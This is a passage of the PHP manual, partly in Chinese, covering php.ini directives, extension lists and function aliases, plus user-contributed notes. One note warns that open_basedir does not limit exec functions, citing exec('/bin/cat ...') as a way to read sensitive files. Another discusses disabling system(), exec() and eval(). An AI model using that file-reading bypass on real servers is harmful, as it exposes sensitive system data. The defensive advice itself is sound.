By default, PHP will output a media type using the Content-Type header. To disable this, simply set it to be empty.

PHP's built-in default media type is set to text/html.

default_charset string

In PHP 5.6 onwards, "UTF-8" is the default value and its value is used as the default character encoding for htmlentities(), html_entity_decode() and htmlspecialchars() if the encoding parameter is omitted. The value of default_charset will also be used to set the default character set for iconv functions if the iconv.input_encoding, iconv.output_encoding and iconv.internal_encoding configuration options are unset, and for mbstring functions if the mbstring.http_input mbstring.http_output mbstring.internal_encoding configuration option is unset.

All versions of PHP will use this value as the charset within the default Content-Type header sent by PHP if the header isn't overridden by a call to header().

Setting default_charset to an empty value is not recommended.

input_encoding string

Available from PHP 5.6.0. This setting is used for multibyte modules such as mbstring and iconv. Default is empty.

output_encoding string

Available from PHP 5.6.0. This setting is used for multibyte modules such as mbstring and iconv. Default is empty.

internal_encoding string

Available from PHP 5.6.0. This setting is used for multibyte modules such as mbstring and iconv. Default is empty. If empty, default_charset is used.

always_populate_raw_post_data mixed
Warning

This feature was DEPRECATED in PHP 5.6.0, and REMOVED as of PHP 7.0.0.

If set to TRUE, PHP will always populate the $HTTP_RAW_POST_DATA containing the raw POST data. Otherwise, the variable is populated only when the MIME type of the data is unrecognised.

The preferred method for accessing raw POST data is php://input, and $HTTP_RAW_POST_DATA is deprecated in PHP 5.6.0 onwards. Setting always_populate_raw_post_data to -1 will opt into the new behaviour that will be implemented in a future version of PHP, in which $HTTP_RAW_POST_DATA is never defined.

Regardless of the setting, $HTTP_RAW_POST_DATA is not available with enctype="multipart/form-data".

See also: magic_quotes_gpc, magic_quotes_runtime, and magic_quotes_sybase.

Paths and Directories

Paths and Directories Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
include_path | ".;/path/to/php/pear" | PHP_INI_ALL |
open_basedir | NULL | PHP_INI_ALL | PHP_INI_SYSTEM in PHP < 5.3.0
doc_root | NULL | PHP_INI_SYSTEM |
user_dir | NULL | PHP_INI_SYSTEM |
user_ini.cache_ttl | "300" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
user_ini.filename | ".user.ini" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
extension_dir | "/path/to/php" | PHP_INI_SYSTEM |
extension | NULL | php.ini only |
zend_extension | NULL | php.ini only |
zend_extension_debug | NULL | php.ini only | Available before PHP 5.3.0.
zend_extension_debug_ts | NULL | php.ini only | Available before PHP 5.3.0.
zend_extension_ts | NULL | php.ini only | Available before PHP 5.3.0.
cgi.check_shebang_line | "1" | PHP_INI_SYSTEM | Available since PHP 5.2.0.
cgi.discard_path | "0" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
cgi.fix_pathinfo | "1" | PHP_INI_SYSTEM | PHP_INI_ALL prior to PHP 5.2.1.
cgi.force_redirect | "1" | PHP_INI_SYSTEM | PHP_INI_ALL prior to PHP 5.2.1.
cgi.nph | "0" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
cgi.redirect_status_env | NULL | PHP_INI_SYSTEM | PHP_INI_ALL prior to PHP 5.2.1.
cgi.rfc2616_headers | "0" | PHP_INI_ALL |
fastcgi.impersonate | "0" | PHP_INI_SYSTEM | PHP_INI_ALL prior to PHP 5.2.1.
fastcgi.logging | "1" | PHP_INI_SYSTEM | PHP_INI_ALL prior to PHP 5.2.1.

这是配置指令的简短说明。

include_path string

Specifies a list of directories where the require, include, fopen(), file(), readfile() and file_get_contents() functions look for files. The format is like the system's PATH environment variable: a list of directories separated with a colon in Unix or semicolon in Windows.

PHP considers each entry in the include path separately when looking for files to include. It will check the first path, and if it doesn't find it, check the next path, until it either locates the included file or returns with a warning or an error. You may modify or set your include path at runtime using set_include_path().

Example #1 Unix include_path

include_path=".:/php/includes"

Example #2 Windows include_path

include_path=".;c:\php\includes"

Using a . in the include path allows for relative includes as it means the current directory. However, it is more efficient to explicitly use include './file' than having PHP always check the current directory for every include.

Note:

ENV variables are also accessible in .ini files. As such it is possible to reference the home directory using ${LOGIN} and ${USER}.

Environment variables may vary between Server APIs as those environments may be different.

Example #3 Unix include_path using ${USER} env variable

include_path = ".:${USER}/pear/php"

open_basedir string

Limit the files that can be accessed by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off.

When a script tries to access the filesystem, for example using include, or fopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it. All symbolic links are resolved, so it's not possible to avoid this restriction with a symlink. If the file doesn't exist then the symlink couldn't be resolved and the filename is compared to (a resolved) open_basedir .

open_basedir can affect more than just filesystem functions; for example if MySQL is configured to use mysqlnd drivers, LOAD DATA INFILE will be affected by open_basedir . Much of the extended functionality of PHP uses open_basedir in this way.

The special value . indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir().

In httpd.conf, open_basedir can be turned off (e.g. for some virtual hosts) the same way as any other configuration directive with "php_admin_value open_basedir none".

Under Windows, separate the directories with a semicolon. On all other systems, separate the directories with a colon. As an Apache module, open_basedir paths from parent directories are now automatically inherited.

The restriction specified with open_basedir is a directory name since PHP 5.2.16 and 5.3.4. Previous versions used it as a prefix. This means that "open_basedir = /dir/incl" also allowed access to "/dir/include" and "/dir/incls" if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: open_basedir = /dir/incl/

The default is to allow all files to be opened.

Note:

As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set(). When listing several directories, you can use the PATH_SEPARATOR constant as a separator regardless of the operating system.

doc_root string

PHP's "root directory" on the server. Only used if non-empty. If PHP is configured with 安全模式, no files outside this directory are served. If PHP was not compiled with FORCE_REDIRECT, you should set doc_root if you are running PHP as a CGI under any web server (other than IIS). The alternative is to use the cgi.force_redirect configuration below.

user_ini.cache_ttl integer

user_ini.filename string

user_dir string

The base name of the directory used on a user's home directory for PHP files, for example public_html .

extension_dir string

In what directory PHP should look for dynamically loadable extensions. See also: enable_dl, and dl().

extension string

Which dynamically loadable extensions to load when PHP starts up.

zend_extension string

Name of dynamically loadable Zend extension (for example APD) to load when PHP starts up.

zend_extension_debug string

Variant of zend_extension for extensions compiled with debug info prior to PHP 5.3.0.

zend_extension_debug_ts string

Variant of zend_extension for extensions compiled with debug info and thread safety prior to PHP 5.3.0.

zend_extension_ts string

Variant of zend_extension for extensions compiled with thread safety prior to PHP 5.3.0.

cgi.check_shebang_line boolean

Controls whether CGI PHP checks for line starting with #! (shebang) at the top of the running script. This line might be needed if the script support running both as stand-alone script and via PHP CGI. PHP in CGI mode skips this line and ignores its content if this directive is turned on.

cgi.discard_path boolean

If this is enabled, the PHP CGI binary can safely be placed outside of the web tree and people will not be able to circumvent .htaccess security.

cgi.fix_pathinfo boolean

Provides real PATH_INFO/ PATH_TRANSLATED support for CGI. PHP's previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok what PATH_INFO is. For more information on PATH_INFO, see the CGI specs. Setting this to 1 will cause PHP CGI to fix its paths to conform to the spec. A setting of zero causes PHP to behave as before. It is turned on by default. You should fix your scripts to use SCRIPT_FILENAME rather than PATH_TRANSLATED.

cgi.force_redirect boolean

cgi.force_redirect is necessary to provide security running PHP as a CGI under most web servers. Left undefined, PHP turns this on by default. You can turn it off at your own risk.

Note:

Windows Users: When using IIS this option must be turned off. For OmniHTTPD or Xitami the same applies.

cgi.nph boolean

If cgi.nph is enabled it will force cgi to always sent Status: 200 with every request.

cgi.redirect_status_env string

If cgi.force_redirect is turned on, and you are not running under Apache or Netscape (iPlanet) web servers, you may need to set an environment variable name that PHP will look for to know it is OK to continue execution.

Note:

Setting this variable may cause security issues, know what you are doing first.

cgi.rfc2616_headers int

Tells PHP what type of headers to use when sending HTTP response code. If it's set to 0, PHP sends a » RFC 3875 "Status:" header that is supported by Apache and other web servers. When this option is set to 1, PHP will send » RFC 2616 compliant headers.

If this option is enabled, and you are running PHP in a CGI environment (e.g. PHP-FPM) you should not use standard RFC 2616 style HTTP status response headers, you should instead use their RFC 3875 equivalent e.g. instead of header("HTTP/1.0 404 Not found"); you should use header("Status: 404 Not Found");

Leave it set to 0 unless you know what you're doing.

fastcgi.impersonate string

FastCGI under IIS (on WINNT based OS) supports the ability to impersonate security tokens of the calling client. This allows IIS to define the security context that the request runs under. mod_fastcgi under Apache does not currently support this feature (03/17/2002) Set to 1 if running under IIS. Default is zero.

fastcgi.logging boolean

Turns on SAPI logging when using FastCGI. Default is to enable logging.

File Uploads

File Uploads Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
file_uploads | "1" | PHP_INI_SYSTEM |
upload_tmp_dir | NULL | PHP_INI_SYSTEM |
max_input_nesting_level | 64 | PHP_INI_PERDIR | Available since PHP 5.3.9.
max_input_vars | 1000 | PHP_INI_PERDIR | Available since PHP 5.3.9.
upload_max_filesize | "2M" | PHP_INI_PERDIR |
max_file_uploads | 20 | PHP_INI_SYSTEM | Available since PHP 5.2.12.

这是配置指令的简短说明。

file_uploads boolean

Whether or not to allow HTTP file uploads. See also the upload_max_filesize, upload_tmp_dir, and post_max_size directives.

upload_tmp_dir string

The temporary directory used for storing files when doing file upload. Must be writable by whatever user PHP is running as. If not specified PHP will use the system's default.

If the directory specified here is not writable, PHP falls back to the system default temporary directory. If open_basedir is on, then the system default directory must be allowed for an upload to succeed.

upload_max_filesize integer

The maximum size of an uploaded file.

当使用 integer 时, 其值以字节来衡量。还可以使用在FAQ中描述的速记符。
max_file_uploads integer

The maximum number of files allowed to be uploaded simultaneously. Starting with PHP 5.3.4, upload fields left blank on submission do not count towards this limit.

General SQL

General SQL Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
sql.safe_mode | "0" | PHP_INI_SYSTEM | Removed in PHP 7.2.0

这是配置指令的简短说明。

sql.safe_mode boolean

If turned on, database connection functions that specify default values will use those values in place of any user-supplied arguments. For details on the default values, see the documentation for the relevant connection functions.

Warning

This feature has been REMOVED as of PHP 7.2.0.

Windows Specific

Windows Specific Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
windows.show_crt_warning | "0" | PHP_INI_ALL | Available since PHP 5.4.0.

这是配置指令的简短说明。

windows.show_crt_warning boolean

This directive shows the Windows CRT warnings when enabled. These warnings were displayed by default until PHP 5.4.0.

User Contributed Notes

alaa morad 09-Jan-2019 08:16
add enctype="multipart/form-data" to your <form> tag or it will not upload any file even if file_uploads=on
ex:
<form method="POST" action="upload. php" enctype="multipart/form-data">
// form contents
</form>
abc500x500 at gmail dot com 26-Aug-2017 08:10
Please illuminate this:
memory_limit=128mb meaning which?

1-per script only then if in a moment 1000 user request php script maximum only 128mb of server ram use6 by script.
2-per script + per user if in a moment 1000 user request a php script about 1000*128mb=128gb ram use by script.
Thanks
Adam 27-Jan-2017 02:51
Remember that `open_basedir` restriction does not affect exec functions. As long as you do not disable exec functions (see `disable_functions`, users will be able to use `exec("/bin/cat [...]")` to access sensitive world readable files.
fernandobasso dot br at gmail dot com 17-Oct-2016 08:06
This might help in case someone happens to maintain old applications with a charset other than utf-8.

According to the docs, you can override the default charset if you use `header()`.

Suppose php.ini sets the default_charset to "UTF-8", but you need a legacy charset, like ISO-8859-1.

Still,

<?php header('Content-Type: text/html; Charset=ISO-8859-1'); ?>

would not override the charset, just add it as well and the result
was a response header like (note the two charsets):

    Content-Type:"text/html; Charset=ISO-8859-1;CHARSET=gb2312"

I found it strange the default one as `charset` with a lowercase `c`
as opposed to my custom charset with an uppercase `C`.

What solved was to _override_ the charset using all lowercase letters
as well for the word "charset":

<?php header('content-type: text/html; charset=ISO-8859-1'); ?>

Then, the double charset from the response headers disappeared, and only the single, custom charset remained.
dougal at gunters dot org 03-Mar-2016 05:11
It appears that if you use both the 'include_path' directives and 'open_basedir', that file searches will hit the include path *first*, before local files. But if 'open_basedir' is not in use, then local files are found first. For example, suppose you have code in '/var/www/myfile.php' which does:

<?php
  require_once('config.php');
?>

Further, assume that there is a local file '/var/www/config.php', and there is also a file '/var/local/php/config.php'.

Next, if your php.ini has:

  include_path = /var/local/php/

Normally, this would look for '/var/www/config.php' first, and if not found, then it would try '/var/local/php/config.php'.

But if you also have this in php.ini:

  open_basedir = /var/www/:/var/local/php/

Then the require would reverse the order of the search, and load '/var/local/php/config.php', even when the local 'config.php' file exists.

Furthermore, if include_path contains directories not in open_basedir, you can end up with a fatal error. For example, change the directive to:

  open_basedir = /var/www/:/var/local/includes/php/

Now the require will first find '/var/local/php/config.php' from the include_path, try to include it, but be unable to because of the open_basedir restrictions.
txyoji at yahoo dot com 21-Nov-2013 08:24
If you enable "open_basedir" option, it will disable the realpath_cache. This can be a significant performance hit.

https://bugs.php.net/bug.php?id=53263
michael dot buergi at gmx dot net 08-May-2013 06:18
the ini-setting "detect_unicode" is indeed "zend.detect_unicode" (according to the phpinfo of my 5.4.4)
iko at vision dot sk 01-May-2012 08:49
auto_globals_jit setting is also affecting $_REQUEST superglobal in 5.3 It is not explicitly stated in documentation.
kghbln 17-Nov-2011 03:09
Adding multiple directories to open_basedir:

open_basedir = "/var/www/htdocs/:/var/www/tmp/" adds both paths /var/www/htdocs/ and /var/www/tmp/. Do not forget the trailing slash, otherwise the last directory will be considered as a prefix (< 5.3.4).

On Windows you use ; as the seperator.
AntonioK 10-Mar-2011 05:29
Note that there is no way to disable eval() work by using disable_functions directive, because eval() is a language construct and not a function.

Many people advise to disable such potentially-insecure functions like system(), exec(), passthru(), eval() and so on in php.ini when not running in safe mode, but eval() would still work even it listed in disable_functions.
rlammers at linuxmail dot org 09-Jan-2011 04:23
This is a possible solution for a problem which seems to be a php-ini-problem but is not.

If a $_POST is used with large fields e.g. textarea's with more than 120kb characters php returns a blank screen, even if the max_post_size is 8M.

This problem may be caused by an apache-module SecFilter.

Adding the following lines to the .htaccess solves the problem.
SecFilterEngine Off
SecFilterScanPOST Off

I know this is not a php-issue, but i'm still posting it here since it looks like it is a php-problem and I did not find any sites or forums offering this solution.
amolitor at molitor-design dot com 10-Feb-2010 03:23
Amusingly, the include_path logically includes the current directory of the running file as the last entry all the time anyways, so part of the business about shoving "." into the include_path is spurious -- it's "there" on the end all the time, at least in the 5.2.12 source (see main/fopen_wrappers.c around line 503).

This one had me goin' for a while.
mrok at mrok dot com 22-Mar-2009 08:29
Note that on some Unix systems (i.e. PHP 5.1.6 on Centos 5.2) include_path in php.ini should NOT be quoted.

For example, instead of

 include_path='.:/usr/share/php'

use

 include_path=.:/usr/share/php

Using quotes does not cause any error message, but all of your require_once() directives will fail (indicating that file could not be opened) - unless full path to target file is provided.
leo at korfu dot cz 29-May-2006 03:45
"If the size of post data is greater than post_max_size..."

It seems that a more elegant way is comparison between post_max_size and $_SERVER['CONTENT_LENGTH']. Please note that the latter includes not only size of uploaded file plus post data but also multipart sequences. Leo
csg at DEL_THISdiatom dot de 02-Sep-2005 02:55
Starting with PHP 4.4.0 (at least PHP version 4.3.10 did have old, documented behaviour) interpretation of value of "session.save_path" did change in conjunction with "save_mode" and "open_basedir" enabled.

Documented ( http://de.php.net/manual/en/ref.session.php#ini.session.save-path ):
  Values of "session.save_path" should or may be  **without**  ending slash.
  For instance:
<?php
  // Valid only  *before* PHP 4.4.0:
  ini_set( "session.save_path", "/var/httpd/kunde/phptmp" );
?> will mean:
  The directory "/var/httpd/kunde/phptmp/" will be used to write data and therefore must be writable by the web server.

Starting with PHP 4.4.0 the server complains that "/var/httpd/kunde/" is not writable.
Solution: Add an ending slash in call of ini_set (or probably whereever you set "session.save_path"), e.g.:
<?php
  // Note the slash on ".....phptmp/":
  ini_set( "session.save_path", "/var/httpd/kunde/phptmp/" );
?>

Hope, that does help someone.


扩展库列表／归类

Table of Contents

  • 按字母顺序
  • 按归属分
  • 按状态分

本附录将 PHP 手册中的 150 多个扩展库以不同标准分类。

User Contributed Notes

There are no user contributed notes for this page.


按字母顺序

  • Apache
  • APC
  • APCu
  • APD
  • 数组
  • BBCode
  • BC Math
  • bcompiler
  • BLENC
  • BLENC
  • Bzip2
  • Cairo
  • Calendar
  • chdb
  • Classkit
  • 类/对象
  • COM
  • Crack
  • CSPRNG
  • Ctype
  • CUBRID
  • cURL
  • Cyrus
  • 日期/时间
  • DBA
  • dBase
  • DB++
  • dbx
  • Direct IO
  • 目录
  • DOM
  • Data Structures
  • Eio
  • Enchant
  • 错误处理
  • Ev
  • Event
  • 程序执行
  • Exif
  • Expect
  • FAM
  • FANN
  • FANN
  • FrontBase
  • FDF
  • Fileinfo
  • filePro
  • 文件系统
  • Filter
  • FastCGI 进程管理器
  • FriBiDi
  • FTP
  • 函数处理
  • Gearman
  • Gender
  • GeoIP
  • Gettext
  • Gmagick
  • GMP
  • GnuPG
  • Gupnp
  • haru
  • Hash
  • HRTime
  • htscanner
  • Hyperwave API
  • Firebird/InterBase
  • IBM DB2
  • iconv
  • ID3
  • Informix
  • IIS
  • GD
  • ImageMagick
  • IMAP
  • inclued
  • PHP 选项/信息
  • Ingres
  • Inotify
  • intl
  • JSON
  • Judy
  • KADM5
  • KTaglib
  • Lapack
  • LDAP
  • Libevent
  • libxml
  • Lua
  • LZF
  • Mail
  • Mailparse
  • Math
  • MaxDB
  • 多字节字符串
  • Mcrypt
  • MCVE
  • Memcache
  • Memcached
  • Memtrack
  • Mhash
  • Mimetype
  • Ming
  • Misc.
  • mnoGoSearch
  • Mongo
  • MongoDB\BSON
  • MongoDB\Driver
  • mqseries
  • Msession
  • mSQL
  • Mssql
  • Mysql（原始）
  • Mysqli
  • Mysqlnd
  • mysqlnd_memcache
  • mysqlnd_ms
  • mysqlnd_mux
  • mysqlnd_qc
  • mysqlnd_uh
  • Ncurses
  • Gopher
  • 网络
  • Newt
  • YP/NIS
  • NSAPI
  • OAuth
  • OCI8
  • oggvorbis
  • OPcache
  • OpenAL
  • OpenSSL
  • 输出控制
  • Paradox
  • Parle
  • Parsekit
  • 密码散列算法
  • PCNTL
  • PCRE
  • PDF
  • PDO
  • 4D (PDO)
  • CUBRID (PDO)
  • MS SQL Server (PDO)
  • Firebird (PDO)
  • IBM (PDO)
  • Informix (PDO)
  • MySQL (PDO)
  • Oracle (PDO)
  • ODBC and DB2 (PDO)
  • PostgreSQL (PDO)
  • SQLite (PDO)
  • MS SQL Server (PDO)
  • PostgreSQL
  • Phar
  • Phdfs
  • POSIX
  • Proctitle
  • PS
  • Pspell
  • pthreads
  • Quickhash
  • Radius
  • Rar
  • Readline
  • Recode
  • 反射
  • POSIX Regex
  • RPM Reader
  • RRD
  • runkit
  • SAM
  • SCA
  • scream
  • SDO
  • SDO DAS XML
  • SDO-DAS-Relational
  • SeasLog
  • Semaphore
  • Sessions
  • Session PgSQL
  • Shared Memory
  • SimpleXML
  • SNMP
  • SOAP
  • Sockets
  • Sodium
  • Solr
  • Sphinx
  • SPL
  • SPL Types
  • SQLite
  • SQLite3
  • SQLSRV
  • ssdeep
  • SSH2
  • Statistics
  • Stomp
  • Streams
  • 字符串
  • SVM
  • SVN
  • Swish
  • Swoole
  • Sybase
  • Sync
  • Taint
  • TCP
  • Tidy
  • Tokenizer
  • tokyo_tyrant
  • Trader
  • UI
  • ODBC
  • uopz
  • URLs
  • V8js
  • Variable handling
  • Varnish
  • vpopmail
  • WDDX
  • Weakref
  • win32ps
  • win32service
  • WinCache
  • wkhtmltox
  • xattr
  • xdiff
  • Xhprof
  • XML 解析器
  • XMLDiff
  • XMLReader
  • XML-RPC
  • XMLWriter
  • XSL
  • Yaconf
  • Yaf
  • Yaml
  • Yar
  • YAZ
  • Zip
  • Zlib
  • 0MQ消息系统
  • ZooKeeper

User Contributed Notes

There are no user contributed notes for this page.


按归属分

核心扩展库

以下并非真正的扩展库，它们属于 PHP 内核的一部分，不能通过编译选项将其排除。

  • 数组

  • 类/对象

  • CSPRNG

  • 日期/时间

  • 目录

  • 错误处理

  • 程序执行

  • 文件系统

  • Filter

  • 函数处理

  • Hash

  • PHP 选项/信息

  • Mail

  • Math

  • Misc.

  • 网络

  • 输出控制

  • 密码散列算法

  • Phar

  • 反射

  • POSIX Regex

  • Sessions

  • SPL

  • Streams

  • 字符串

  • Tokenizer

  • URLs

  • Variable handling

绑定的扩展库

以下扩展库绑定在 PHP 发行包中。

  • Apache

  • BC Math

  • Calendar

  • COM

  • Ctype

  • DBA

  • Exif

  • Fileinfo

  • FTP

  • iconv

  • GD

  • intl

  • JSON

  • 多字节字符串

  • NSAPI

  • OPcache

  • PCNTL

  • PCRE

  • PDO

  • POSIX

  • Semaphore

  • Shared Memory

  • Sockets

  • SQLite3

  • XML-RPC

  • Zlib

外部扩展库

这些扩展库已经包含在PHP中但是需要编译它们才能使用，并且可能需要额外的扩展库。

  • Bzip2

  • cURL

  • dBase

  • DOM

  • Enchant

  • FrontBase

  • Gettext

  • GMP

  • Firebird/InterBase

  • Informix

  • IMAP

  • LDAP

  • libxml

  • Mcrypt

  • Mhash

  • mSQL

  • Mssql

  • Mysql（原始）

  • Mysqli

  • Mysqlnd

  • OCI8

  • OpenSSL

  • MS SQL Server (PDO)

  • Firebird (PDO)

  • MySQL (PDO)

  • Oracle (PDO)

  • ODBC and DB2 (PDO)

  • PostgreSQL (PDO)

  • SQLite (PDO)

  • PostgreSQL

  • Pspell

  • Readline

  • Recode

  • SimpleXML

  • SNMP

  • SOAP

  • Sodium

  • Sybase

  • Tidy

  • ODBC

  • WDDX

  • XML 解析器

  • XMLReader

  • XMLWriter

  • XSL

  • Zip

PECL 扩展库

以下扩展来自 » PECL，它们可能需要额外的库。还有更多的 PECL 扩展存在，但是在 PHP 手册中尚未有文档。

  • APC

  • APD

  • BBCode

  • bcompiler

  • Cairo

  • chdb

  • Classkit

  • Crack

  • CUBRID

  • Cyrus

  • DB++

  • dbx

  • Direct IO

  • Eio

  • Ev

  • Event

  • Expect

  • FAM

  • FDF

  • filePro

  • FriBiDi

  • Gearman

  • Gender

  • GeoIP

  • Gmagick

  • GnuPG

  • Gupnp

  • haru

  • htscanner

  • Hyperwave API

  • IBM DB2

  • ID3

  • IIS

  • ImageMagick

  • inclued

  • Ingres

  • Inotify

  • Judy

  • KADM5

  • KTaglib

  • Lapack

  • Libevent

  • Lua

  • LZF

  • Mailparse

  • MaxDB

  • MCVE

  • Memcache

  • Memcached

  • Memtrack

  • Mimetype

  • Ming

  • mnoGoSearch

  • Mongo

  • mqseries

  • Msession

  • mysqlnd_memcache

  • mysqlnd_ms

  • mysqlnd_mux

  • mysqlnd_qc

  • mysqlnd_uh

  • Ncurses

  • Gopher

  • Newt

  • YP/NIS

  • OAuth

  • oggvorbis

  • OpenAL

  • Paradox

  • Parsekit

  • PDF

  • 4D (PDO)

  • CUBRID (PDO)

  • IBM (PDO)

  • Informix (PDO)

  • MS SQL Server (PDO)

  • Proctitle

  • PS

  • pthreads

  • Quickhash

  • Radius

  • Rar

  • RPM Reader

  • RRD

  • runkit

  • SAM

  • SCA

  • scream

  • SDO

  • SDO DAS XML

  • SDO-DAS-Relational

  • SeasLog

  • Session PgSQL

  • Solr

  • Sphinx

  • SPL Types

  • SQLite

  • SQLSRV

  • ssdeep

  • SSH2

  • Statistics

  • Stomp

  • Swoole

  • SVM

  • SVN

  • Swish

  • Taint

  • TCP

  • tokyo_tyrant

  • Trader

  • V8js

  • Varnish

  • vpopmail

  • Weakref

  • win32ps

  • win32service

  • WinCache

  • xattr

  • xdiff

  • Xhprof

  • Yaf

  • Yaml

  • YAZ

  • ZooKeeper

User Contributed Notes

There are no user contributed notes for this page.


按状态分

此部分所列出的扩展项不适用于生产环境――它们要么太老（已废弃），要么太新（试验中）。

已废弃的扩展库

以下扩展库已被废弃，通常有其他的扩展库替代。

  • Memtrack

  • Mimetype

试验中的扩展库

以下扩展库的行为――包括其函数的名称和所记载的有关此扩展库的其它任何东西――可能没有任何通知就在 PHP 的未来版本中进行变更。使用这些扩展时风险自担。

  • bcompiler

  • DB++

  • haru

  • Hash

  • ImageMagick

  • Ming

  • Ncurses

  • Newt

  • Paradox

  • MS SQL Server (PDO)

  • Firebird (PDO)

  • Oracle (PDO)

  • PS

  • SCA

  • SDO-DAS-Relational

  • Swish

  • vpopmail

  • XML-RPC

User Contributed Notes

There are no user contributed notes for this page.


函数别名列表

这里是函数别名列表，所有的别名列表如下。通常使用别名并不是一个好主意，这是因为它可能会废弃不用或者重新定义。这会导致不可移植脚本的出现。本列表是为了帮助想要升级他们旧有脚本到新版本语法的开发人员。很多 PHP 函数都有一个别名，可以用别名调用它。在某些情况下，两个名称都非常合适，无从取舍，is_int() 和 is_integer() 就是一个很好的例子。而有些情况则是，由于内部 API 的清理或其它一些原因，函数名被修改，但是老的名称保留了下来，以确保向后兼容性。使用这种别名通常不是个好主意，因为这种别名可能会被完全废弃或更名，导致脚本难以移植到新版本的 PHP 上。我们提供了本列表，来帮助那些要升级旧程序到更新语法的人。

别名列表
别名 | 主函数 | 使用的扩展模块
_ | gettext() | Gettext
add | swfmovie_add() | Ming (flash)
add | swfsprite_add() | Ming (flash)
add_root | domxml_add_root() |
addaction | swfbutton_addAction() | Ming (flash)
addcolor | swfdisplayitem_addColor() | Ming (flash)
addentry | swfgradient_addEntry() | Ming (flash)
addfill | swfshape_addfill() | Ming (flash)
addshape | swfbutton_addShape() | Ming (flash)
addstring | swftext_addString() | Ming (flash)
addstring | swftextfield_addString() | Ming (flash)
align | swftextfield_align() | Ming (flash)
attributes | domxml_attributes() |
children | domxml_children() |
chop | rtrim() | 基本语法
close | closedir() | 基本语法
com_get | com_propget() | COM
com_propset | com_propput() | COM
com_set | com_propput() | COM
die | exit() | 杂类函数
dir | getdir() | 基本语法
diskfreespace | disk_free_space() | 文件系统函数
domxml_getattr | domxml_get_attribute() |
domxml_setattr | domxml_set_attribute() |
doubleval | floatval() | 基本语法
drawarc | swfshape_drawarc() | Ming (flash)
drawcircle | swfshape_drawcircle() | Ming (flash)
drawcubic | swfshape_drawcubic() | Ming (flash)
drawcubicto | swfshape_drawcubicto() | Ming (flash)
drawcurve | swfshape_drawcurve() | Ming (flash)
drawcurveto | swfshape_drawcurveto() | Ming (flash)
drawglyph | swfshape_drawglyph() | Ming (flash)
drawline | swfshape_drawline() | Ming (flash)
drawlineto | swfshape_drawlineto() | Ming (flash)
dtd | domxml_intdtd() |
dumpmem | domxml_dumpmem() |
fbsql | fbsql_db_query() | FrontBase
fputs | fwrite() | 基本语法
get_attribute | domxml_get_attribute() |
getascent | swffont_getAscent() | Ming (flash)
getascent | swftext_getAscent() | Ming (flash)
getattr | domxml_get_attribute() |
getdescent | swffont_getDescent() | Ming (flash)
getdescent | swftext_getDescent() | Ming (flash)
getheight | swfbitmap_getHeight() | Ming (flash)
getleading | swffont_getLeading() | Ming (flash)
getleading | swftext_getLeading() | Ming (flash)
getshape1 | swfmorph_getShape1() | Ming (flash)
getshape2 | swfmorph_getShape2() | Ming (flash)
getwidth | swfbitmap_getWidth() | Ming (flash)
getwidth | swffont_getWidth() | Ming (flash)
getwidth | swftext_getWidth() | Ming (flash)
gzputs | gzwrite() | Zlib
i18n_convert | mb_convert_encoding() | 多字节字符串函数
i18n_discover_encoding | mb_detect_encoding() | 多字节字符串函数
i18n_http_input | mb_http_input() | 多字节字符串函数
i18n_http_output | mb_http_output() | 多字节字符串函数
i18n_internal_encoding | mb_internal_encoding() | 多字节字符串函数
i18n_ja_jp_hantozen | mb_convert_kana() | 多字节字符串函数
i18n_mime_header_decode | mb_decode_mimeheader() | 多字节字符串函数
i18n_mime_header_encode | mb_encode_mimeheader() | 多字节字符串函数
imap_create | imap_createmailbox() | IMAP
imap_fetchtext | imap_body() | IMAP
imap_getmailboxes | imap_list_full() | IMAP
imap_getsubscribed | imap_lsub_full() | IMAP
imap_header | imap_headerinfo() | IMAP
imap_listmailbox | imap_list() | IMAP
imap_listsubscribed | imap_lsub() | IMAP
imap_rename | imap_renamemailbox() | IMAP
imap_scan | imap_listscan() | IMAP
imap_scanmailbox | imap_listscan() | IMAP
ini_alter | ini_set() | 基本语法
is_double | is_float() | 基本语法
is_integer | is_int() | 基本语法
is_long | is_int() | 基本语法
is_real | is_float() | 基本语法
is_writeable | is_writable() | 基本语法
join | implode() | 基本语法
key_exists | array_key_exists() | 基本语法
labelframe | swfmovie_labelFrame() | Ming (flash)
labelframe | swfsprite_labelFrame() | Ming (flash)
last_child | domxml_last_child() |
lastchild | domxml_last_child() |
ldap_close | ldap_unbind() | LDAP
magic_quotes_runtime | set_magic_quotes_runtime() | 基本语法
mbstrcut | mb_strcut() | 多字节字符串函数
mbstrlen | mb_strlen() | 多字节字符串函数
mbstrpos | mb_strpos() | 多字节字符串函数
mbstrrpos | mb_strrpos() | 多字节字符串函数
mbsubstr | mb_substr() | 多字节字符串函数
ming_setcubicthreshold | ming_setCubicThreshold() | Ming (flash)
ming_setscale | ming_setScale() | Ming (flash)
move | swfdisplayitem_move() | Ming (flash)
movepen | swfshape_movepen() | Ming (flash)
movepento | swfshape_movepento() | Ming (flash)
moveto | swfdisplayitem_moveTo() | Ming (flash)
moveto | swffill_moveTo() | Ming (flash)
moveto | swftext_moveTo() | Ming (flash)
msql | msql_db_query() | mSQL
msql_createdb | msql_create_db() | mSQL
msql_dbname | msql_result() | mSQL
msql_dropdb | msql_drop_db() | mSQL
msql_fieldflags | msql_field_flags() | mSQL
msql_fieldlen | msql_field_len() | mSQL
msql_fieldname | msql_field_name() | mSQL
msql_fieldtable | msql_field_table() | mSQL
msql_fieldtype | msql_field_type() | mSQL
msql_freeresult | msql_free_result() | mSQL
msql_listdbs | msql_list_dbs() | mSQL
msql_listfields | msql_list_fields() | mSQL
msql_listtables | msql_list_tables() | mSQL
msql_numfields | msql_num_fields() | mSQL
msql_numrows | msql_num_rows() | mSQL
msql_regcase | sql_regcase() | mSQL
msql_selectdb | msql_select_db() | mSQL
